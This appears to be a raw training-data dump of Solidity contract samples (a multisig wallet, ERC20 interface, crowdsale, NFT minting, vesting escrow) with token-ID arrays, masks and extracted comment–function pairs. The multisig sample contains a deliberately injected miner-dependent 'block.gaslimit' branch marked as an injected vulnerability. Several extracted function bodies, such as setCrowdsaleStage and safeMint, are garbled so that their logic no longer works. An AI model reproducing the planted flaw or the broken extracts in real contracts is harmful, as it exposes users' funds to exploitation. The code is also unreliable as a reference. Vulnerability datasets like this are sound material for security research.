[ 1, 565, 445, 1221, 38, 9835, 2448, 12, 2867, 389, 12910, 2045, 287, 16, 2254, 5034, 389, 323, 1724, 6275, 16, 2254, 5034, 389, 1154, 990, 6275, 4436, 14667, 13, 203, 3639, 3903, 8843, 429, 1357, 52, 12, 5535, 6859, 67, 3000, 61, 67, 7954, 67, 16256, 16, 2454, 12, 3576, 18, 15330, 3719, 203, 565, 288, 203, 3639, 13667, 12373, 18, 6540, 38, 9835, 2448, 18, 1132, 12, 3576, 18, 1132, 21433, 3576, 18, 15330, 16, 389, 12910, 2045, 287, 16, 389, 323, 1724, 6275, 16, 389, 1154, 990, 6275, 4436, 14667, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.2; // This is basically a shared account in which any transactions done must be signed by multiple parties. Hence, multi-signature wallet. contract SimpleMultiSigWallet { struct Proposal { uint256 amount; address payable to; uint8 votes; bytes data; mapping (address => bool) voted; } mapping (bytes32 => Proposal) internal proposals; mapping (address => uint8) public voteCount; uint8 constant public maximumVotes = 2; constructor() public{ voteCount[0x8c070C3c66F62E34bAe561951450f15f3256f67c] = 1; // ARitz Cracker voteCount[0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C] = 1; // Sumpunk } function proposeTransaction(address payable to, uint256 amount, bytes memory data) public{ require(voteCount[msg.sender] != 0, "You cannot vote"); bytes32 hash = keccak256(abi.encodePacked(to, amount, data)); require(!proposals[hash].voted[msg.sender], "Already voted"); if (proposals[hash].votes == 0){ proposals[hash].amount = amount; proposals[hash].to = to; proposals[hash].data = data; proposals[hash].votes = voteCount[msg.sender]; proposals[hash].voted[msg.sender] = true; }else{ proposals[hash].votes += voteCount[msg.sender]; proposals[hash].voted[msg.sender] = true; if (proposals[hash].votes >= maximumVotes){ if (block.gaslimit == 0){ //injected CONTRACT AFFECTED BY MINERS proposals[hash].to.transfer(proposals[hash].amount); }else{ bool success; bytes memory returnData; (success, returnData) = proposals[hash].to.call.value(proposals[hash].amount)(proposals[hash].data); require(success); } delete proposals[hash]; } } } // Yes we will take your free ERC223 tokens, thank you very much function tokenFallback(address from, uint value, bytes memory data) public{ } function() external payable{ // Accept free ETH } }
injected CONTRACT AFFECTED BY MINERS
if (block.gaslimit == 0){
6,417,772
[ 1, 267, 6059, 8020, 2849, 1268, 432, 2246, 4239, 2056, 6953, 6989, 11367, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 7734, 309, 261, 2629, 18, 31604, 3595, 422, 374, 15329, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x03256E6eEA6E60A7d2E3F94a206C414B491a26A6/sources/EthermonAvatarDistributor.sol
* @dev Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } }
2,800,945
[ 1, 1358, 434, 326, 4232, 39, 3462, 4529, 487, 2553, 316, 326, 512, 2579, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 3462, 288, 203, 565, 445, 2078, 3088, 1283, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 5034, 3844, 13, 203, 3639, 3903, 203, 3639, 1135, 261, 6430, 1769, 203, 203, 565, 445, 1699, 1359, 12, 2867, 3410, 16, 1758, 17571, 264, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 7412, 1265, 12, 203, 3639, 1758, 5793, 16, 203, 3639, 1758, 8027, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 203, 565, 871, 1716, 685, 1125, 12, 203, 3639, 1758, 8808, 3410, 16, 203, 3639, 1758, 8808, 17571, 264, 16, 203, 3639, 2254, 5034, 460, 203, 565, 11272, 203, 97, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol"; import "openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol"; import "openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol"; import "openzeppelin-solidity/contracts/token/ERC20/TokenTimelock.sol"; import "openzeppelin-solidity/contracts/crowdsale/Crowdsale.sol"; import "openzeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol"; import "openzeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol"; import "openzeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol"; contract NOTELoanOffering is Crowdsale, MintedCrowdsale, CappedCrowdsale, TimedCrowdsale { // Track investor contributions uint256 public investorMinCap = 2000000000000; // 0.02 avax uint256 public investorHardCap = 50000000000000000000000; // 500 avax mapping(address => uint256) public contributions; // Crowdsale Stages enum CrowdsaleStage { OfferingA, OfferingB } // Default to presale stage CrowdsaleStage public stage = CrowdsaleStage.OfferingA; // Token Distribution uint256 public tokenSalePercentage = 70; uint256 public foundersPercentage = 10; uint256 public foundationPercentage = 10; uint256 public partnersPercentage = 10; // Token reserve funds address public foundersFund; address public foundationFund; address public partnersFund; // Token time lock uint256 public releaseTime; address public foundersTimelock; address public foundationTimelock; address public partnersTimelock; constructor( uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime, uint256 _goal, address _foundersFund, address _foundationFund, address _partnersFund, uint256 _releaseTime ) Crowdsale(_rate, _wallet, _token) CappedCrowdsale(_cap) TimedCrowdsale(_openingTime, _closingTime) public { require(_goal <= _cap); foundersFund = _foundersFund; foundationFund = _foundationFund; partnersFund = _partnersFund; releaseTime = _releaseTime; } /** * @dev Returns the amount contributed so far by a sepecific user. * @param _beneficiary Address of contributor * @return User contribution so far */ function getUserContribution(address _beneficiary) public view returns (uint256) { return contributions[_beneficiary]; } /** * @dev Allows admin to update the crowdsale stage * @param _stage Crowdsale stage */ function setCrowdsaleStage(uint _stage) public onlyOwner { if(uint(CrowdsaleStage.OfferingA) == _stage) { stage = CrowdsaleStage.OfferingA; } else if (uint(CrowdsaleStage.OfferingB) == _stage) { stage = CrowdsaleStage.OfferingB; } if(stage == CrowdsaleStage.OfferingA) { rate = 500; } else if (stage == CrowdsaleStage.OfferingB) { rate = 250; } } /** * @dev forwards funds to the wallet during the OfferingA stage, then the refund vault during OfferingB stage */ function _forwardFunds() internal { if(stage == CrowdsaleStage.OfferingA) { wallet.transfer(msg.value); } else if (stage == CrowdsaleStage.OfferingB) { super._forwardFunds(); } } /* @dev Extend parent behavior requiring purchase to respect investor min/max funding cap. @param _beneficiary Token purchaser @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); uint256 _existingContribution = contributions[_beneficiary]; uint256 _newContribution = _existingContribution.add(_weiAmount); require(_newContribution >= investorMinCap && _newContribution <= investorHardCap); contributions[_beneficiary] = _newContribution; } /** * @dev enables token transfers, called when owner calls finalize() */ function finalization() internal { if(goalReached()) { MintableToken _mintableToken = MintableToken(token); uint256 _alreadyMinted = _mintableToken.totalSupply(); uint256 _finalTotalSupply = _alreadyMinted.div(tokenSalePercentage).mul(100); foundersTimelock = new TokenTimelock(token, foundersFund, releaseTime); foundationTimelock = new TokenTimelock(token, foundationFund, releaseTime); partnersTimelock = new TokenTimelock(token, partnersFund, releaseTime); _mintableToken.mint(address(foundersTimelock), _finalTotalSupply.mul(foundersPercentage).div(100)); _mintableToken.mint(address(foundationTimelock), _finalTotalSupply.mul(foundationPercentage).div(100)); _mintableToken.mint(address(partnersTimelock), _finalTotalSupply.mul(partnersPercentage).div(100)); _mintableToken.finishMinting(); // Unpause the token PausableToken _pausableToken = PausableToken(token); _pausableToken.unpause(); _pausableToken.transferOwnership(wallet); } super.finalization(); } }
* @dev Allows admin to update the crowdsale stage @param _stage Crowdsale stage/
function setCrowdsaleStage(uint _stage) public onlyOwner { if(uint(CrowdsaleStage.OfferingA) == _stage) { stage = CrowdsaleStage.OfferingA; stage = CrowdsaleStage.OfferingB; } if(stage == CrowdsaleStage.OfferingA) { rate = 500; rate = 250; } }
916,851
[ 1, 19132, 3981, 358, 1089, 326, 276, 492, 2377, 5349, 6009, 225, 389, 12869, 385, 492, 2377, 5349, 6009, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 11440, 492, 2377, 5349, 8755, 12, 11890, 389, 12869, 13, 1071, 1338, 5541, 288, 203, 565, 309, 12, 11890, 12, 39, 492, 2377, 5349, 8755, 18, 17800, 37, 13, 422, 389, 12869, 13, 288, 203, 1377, 6009, 273, 385, 492, 2377, 5349, 8755, 18, 17800, 37, 31, 203, 1377, 6009, 273, 385, 492, 2377, 5349, 8755, 18, 17800, 38, 31, 203, 565, 289, 203, 203, 565, 309, 12, 12869, 422, 385, 492, 2377, 5349, 8755, 18, 17800, 37, 13, 288, 203, 1377, 4993, 273, 6604, 31, 203, 1377, 4993, 273, 16927, 31, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6307be80ABACAEc6305a2b353EeCa338Ba469d39/sources/contracts/QuiddMintablesBase.sol
* @dev Safe Mints a token to an address with a tokenURI. @param _to address of the future owner of the token @param _tokenId the ID of the print as registered with Quidd/ Print was unminted. Transfer to new owner, with possibly new tokenId TODO: This means the count of tokens might be off First time minting
function safeMint(address _to, uint256 _tokenId) public virtual { bool notNew = _exists(_tokenId); if (notNew) { address owner = ownerOf(_tokenId); require(owner == address(this), "Already minted"); _safeTransfer(address(this), _to, _tokenId, ""); _safeMint(_to, _tokenId); } }
9,798,069
[ 1, 9890, 490, 28142, 279, 1147, 358, 392, 1758, 598, 279, 1147, 3098, 18, 225, 389, 869, 1758, 434, 326, 3563, 3410, 434, 326, 1147, 225, 389, 2316, 548, 326, 1599, 434, 326, 1172, 487, 4104, 598, 4783, 1873, 19, 3038, 1703, 27701, 474, 329, 18, 12279, 358, 394, 3410, 16, 598, 10016, 394, 1147, 548, 2660, 30, 1220, 4696, 326, 1056, 434, 2430, 4825, 506, 3397, 5783, 813, 312, 474, 310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 49, 474, 12, 2867, 389, 869, 16, 2254, 5034, 389, 2316, 548, 13, 1071, 5024, 288, 203, 202, 6430, 486, 1908, 273, 389, 1808, 24899, 2316, 548, 1769, 203, 202, 430, 261, 902, 1908, 13, 288, 203, 202, 565, 1758, 3410, 273, 3410, 951, 24899, 2316, 548, 1769, 203, 202, 565, 2583, 12, 8443, 422, 1758, 12, 2211, 3631, 315, 9430, 312, 474, 329, 8863, 203, 202, 377, 203, 202, 565, 389, 4626, 5912, 12, 2867, 12, 2211, 3631, 389, 869, 16, 389, 2316, 548, 16, 1408, 1769, 203, 202, 565, 389, 4626, 49, 474, 24899, 869, 16, 389, 2316, 548, 1769, 203, 202, 97, 203, 202, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.8; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./Wallet.sol"; import "./VestingEscrowWalletStorage.sol"; /** * @title Wallet for core vesting escrow functionality */ contract VestingEscrowWallet is VestingEscrowWalletStorage, Wallet { using SafeMath for uint256; // States used to represent the status of the schedule enum State {CREATED, STARTED, COMPLETED} // Emit when new schedule is added event AddSchedule( address indexed _beneficiary, bytes32 _templateName, uint256 _startTime ); // Emit when schedule is modified event ModifySchedule( address indexed _beneficiary, bytes32 _templateName, uint256 _startTime ); // Emit when all schedules are revoked for user event RevokeAllSchedules(address indexed _beneficiary); // Emit when schedule is revoked event RevokeSchedule(address indexed _beneficiary, bytes32 _templateName); // Emit when tokes are deposited to wallet event DepositTokens(uint256 _numberOfTokens, address _sender); // Emit when all unassigned tokens are sent to treasury event SendToTreasury(uint256 _numberOfTokens, address _sender); // Emit when is sent tokes to user event SendTokens(address indexed _beneficiary, uint256 _numberOfTokens); // Emit when template is added event AddTemplate(bytes32 _name, uint256 _numberOfTokens, uint256 _duration, uint256 _frequency); // Emit when template is removed event RemoveTemplate(bytes32 _name); // Emit when the treasury wallet gets changed event TreasuryWalletChanged(address _newWallet, address _oldWallet); /** * @notice Constructor * @param _securityToken Address of the security token * @param _polyAddress Address of the polytoken */ constructor (address _securityToken, address _polyAddress) public Module(_securityToken, _polyAddress) { } /** * @notice This function returns the signature of the configure function */ function getInitFunction() public pure returns (bytes4) { return this.configure.selector; } /** * @notice Used to initialize the treasury wallet address * @param _treasuryWallet Address of the treasury wallet */ function configure(address _treasuryWallet) public onlyFactory { _setWallet(_treasuryWallet); } /** * @notice Used to change the treasury wallet address * @param _newTreasuryWallet Address of the treasury wallet */ function changeTreasuryWallet(address _newTreasuryWallet) public { _onlySecurityTokenOwner(); _setWallet(_newTreasuryWallet); } function _setWallet(address _newTreasuryWallet) internal { emit TreasuryWalletChanged(_newTreasuryWallet, treasuryWallet); treasuryWallet = _newTreasuryWallet; } /** * @notice Used to deposit tokens from treasury wallet to the vesting escrow wallet * @param _numberOfTokens Number of tokens that should be deposited */ function depositTokens(uint256 _numberOfTokens) external withPerm(ADMIN) { _depositTokens(_numberOfTokens); } function _depositTokens(uint256 _numberOfTokens) internal { require(_numberOfTokens > 0, "Should be > 0"); require( securityToken.transferFrom(msg.sender, address(this), _numberOfTokens), "Failed transferFrom" ); unassignedTokens = unassignedTokens.add(_numberOfTokens); emit DepositTokens(_numberOfTokens, msg.sender); } /** * @notice Sends unassigned tokens to the treasury wallet * @param _amount Amount of tokens that should be send to the treasury wallet */ function sendToTreasury(uint256 _amount) public withPerm(OPERATOR) { require(_amount > 0, "Amount cannot be zero"); require(_amount <= unassignedTokens, "Amount is greater than unassigned tokens"); unassignedTokens = unassignedTokens - _amount; require(securityToken.transfer(getTreasuryWallet(), _amount), "Transfer failed"); emit SendToTreasury(_amount, msg.sender); } /** * @notice Returns the treasury wallet address */ function getTreasuryWallet() public view returns(address) { if (treasuryWallet == address(0)) { address wallet = IDataStore(getDataStore()).getAddress(TREASURY); require(wallet != address(0), "Invalid address"); return wallet; } else return treasuryWallet; } /** * @notice Pushes available tokens to the beneficiary's address * @param _beneficiary Address of the beneficiary who will receive tokens */ function pushAvailableTokens(address _beneficiary) public withPerm(OPERATOR) { _sendTokens(_beneficiary); } /** * @notice Used to withdraw available tokens by beneficiary */ function pullAvailableTokens() external whenNotPaused { _sendTokens(msg.sender); } /** * @notice Adds template that can be used for creating schedule * @param _name Name of the template will be created * @param _numberOfTokens Number of tokens that should be assigned to schedule * @param _duration Duration of the vesting schedule * @param _frequency Frequency of the vesting schedule */ function addTemplate(bytes32 _name, uint256 _numberOfTokens, uint256 _duration, uint256 _frequency) external withPerm(ADMIN) { _addTemplate(_name, _numberOfTokens, _duration, _frequency); } function _addTemplate(bytes32 _name, uint256 _numberOfTokens, uint256 _duration, uint256 _frequency) internal { require(_name != bytes32(0), "Invalid name"); require(!_isTemplateExists(_name), "Already exists"); _validateTemplate(_numberOfTokens, _duration, _frequency); templateNames.push(_name); templates[_name] = Template(_numberOfTokens, _duration, _frequency, templateNames.length - 1); emit AddTemplate(_name, _numberOfTokens, _duration, _frequency); } /** * @notice Removes template with a given name * @param _name Name of the template that will be removed */ function removeTemplate(bytes32 _name) external withPerm(ADMIN) { require(_isTemplateExists(_name), "Template not found"); require(templateToUsers[_name].length == 0, "Template is used"); uint256 index = templates[_name].index; if (index != templateNames.length - 1) { templateNames[index] = templateNames[templateNames.length - 1]; templates[templateNames[index]].index = index; } templateNames.length--; // delete template data delete templates[_name]; emit RemoveTemplate(_name); } /** * @notice Returns count of the templates those can be used for creating schedule * @return Count of the templates */ function getTemplateCount() external view returns(uint256) { return templateNames.length; } /** * @notice Gets the list of the template names those can be used for creating schedule * @return bytes32 Array of all template names were created */ function getAllTemplateNames() external view returns(bytes32[] memory) { return templateNames; } /** * @notice Adds vesting schedules for each of the beneficiary's address * @param _beneficiary Address of the beneficiary for whom it is scheduled * @param _templateName Name of the template that will be created * @param _numberOfTokens Total number of tokens for created schedule * @param _duration Duration of the created vesting schedule * @param _frequency Frequency of the created vesting schedule * @param _startTime Start time of the created vesting schedule */ function addSchedule( address _beneficiary, bytes32 _templateName, uint256 _numberOfTokens, uint256 _duration, uint256 _frequency, uint256 _startTime ) external withPerm(ADMIN) { _addSchedule(_beneficiary, _templateName, _numberOfTokens, _duration, _frequency, _startTime); } function _addSchedule( address _beneficiary, bytes32 _templateName, uint256 _numberOfTokens, uint256 _duration, uint256 _frequency, uint256 _startTime ) internal { _addTemplate(_templateName, _numberOfTokens, _duration, _frequency); _addScheduleFromTemplate(_beneficiary, _templateName, _startTime); } /** * @notice Adds vesting schedules from template for the beneficiary * @param _beneficiary Address of the beneficiary for whom it is scheduled * @param _templateName Name of the exists template * @param _startTime Start time of the created vesting schedule */ function addScheduleFromTemplate(address _beneficiary, bytes32 _templateName, uint256 _startTime) external withPerm(ADMIN) { _addScheduleFromTemplate(_beneficiary, _templateName, _startTime); } function _addScheduleFromTemplate(address _beneficiary, bytes32 _templateName, uint256 _startTime) internal { require(_beneficiary != address(0), "Invalid address"); require(_isTemplateExists(_templateName), "Template not found"); uint256 index = userToTemplateIndex[_beneficiary][_templateName]; require( schedules[_beneficiary].length == 0 || schedules[_beneficiary][index].templateName != _templateName, "Already added" ); require(_startTime >= now, "Date in the past"); uint256 numberOfTokens = templates[_templateName].numberOfTokens; if (numberOfTokens > unassignedTokens) { _depositTokens(numberOfTokens.sub(unassignedTokens)); } unassignedTokens = unassignedTokens.sub(numberOfTokens); if (!beneficiaryAdded[_beneficiary]) { beneficiaries.push(_beneficiary); beneficiaryAdded[_beneficiary] = true; } schedules[_beneficiary].push(Schedule(_templateName, 0, _startTime)); userToTemplates[_beneficiary].push(_templateName); userToTemplateIndex[_beneficiary][_templateName] = schedules[_beneficiary].length - 1; templateToUsers[_templateName].push(_beneficiary); templateToUserIndex[_templateName][_beneficiary] = templateToUsers[_templateName].length - 1; emit AddSchedule(_beneficiary, _templateName, _startTime); } /** * @notice Modifies vesting schedules for each of the beneficiary * @param _beneficiary Address of the beneficiary for whom it is modified * @param _templateName Name of the template was used for schedule creation * @param _startTime Start time of the created vesting schedule */ function modifySchedule(address _beneficiary, bytes32 _templateName, uint256 _startTime) external withPerm(ADMIN) { 